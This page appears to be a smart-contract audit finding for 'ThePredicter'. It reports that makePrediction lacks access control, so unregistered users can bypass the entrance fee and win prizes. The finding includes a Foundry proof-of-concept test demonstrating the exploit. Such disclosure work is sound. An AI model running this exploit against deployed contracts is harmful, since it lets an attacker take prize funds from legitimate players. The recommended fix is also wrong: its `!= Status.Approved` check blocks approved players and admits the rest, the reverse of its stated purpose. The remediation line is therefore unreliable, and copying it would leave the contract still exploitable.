Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

User who is not registered and approved can predict and win prizes

##Summary
User who is not registered and approved can predict and win prizes

Relevant Link

https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol#L85

Vulnerability Details

Users who are not registered and approved can avoid paying for entrance fee by calling ThePredicter::makePrediction function which only deducts prediction fee and does not check if the user is registered and approved or not, thereby an Unknown user can predict result and win prizes

Impact

Players who are registered,approved and are elligible for prizes will get lower prizes fee than expected

Proof of concept

Here is a foundry test you can add to the ThePredicter.test.sol file to demostrate the exploit

Proof Of Code
function test_playerCanPredictWithoutRegistering() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
// other users being approved by the organisers excluding user "stranger"
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.withdraw();
// User "stranger" is able to withdraw without registering
vm.stopPrank();
console.log(address(stranger2).balance);
console.log(address(stranger3).balance);
//confirms that the stranger who did not register was able to predict and win prize
assertGe(address(stranger).balance, 1 ether);
// Expected Log showing each user status
// stranger ---- Unknown
// stranger2 ---- Approved
// stranger3 ---- Approved
console.log(
"stranger ----",
getStatusString(thePredicter.playersStatus(stranger))
);
console.log(
"stranger2 ----",
getStatusString(thePredicter.playersStatus(stranger2))
);
console.log(
"stranger3 ----",
getStatusString(thePredicter.playersStatus(stranger3))
);
}
// Function to convert status enum to string, so it can be logged in the console
function getStatusString(
ThePredicter.Status status
) public pure returns (string memory) {
if (status == ThePredicter.Status.Unknown) {
return "Unknown";
} else if (status == ThePredicter.Status.Pending) {
return "Pending";
} else if (status == ThePredicter.Status.Approved) {
return "Approved";
} else if (status == ThePredicter.Status.Canceled) {
return "Canceled";
} else {
return "Invalid Status";
}
}

Tools Used

Manual Review

Recommendations

The protocol should check if the user status is Approved to ensure they are allowed to make predictions
The code below helps mitigate the risk by ensuring the user status is Approved

+ require(playersStatus[msg.sender] != Status.Approved, "User not approved to make predictions");
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.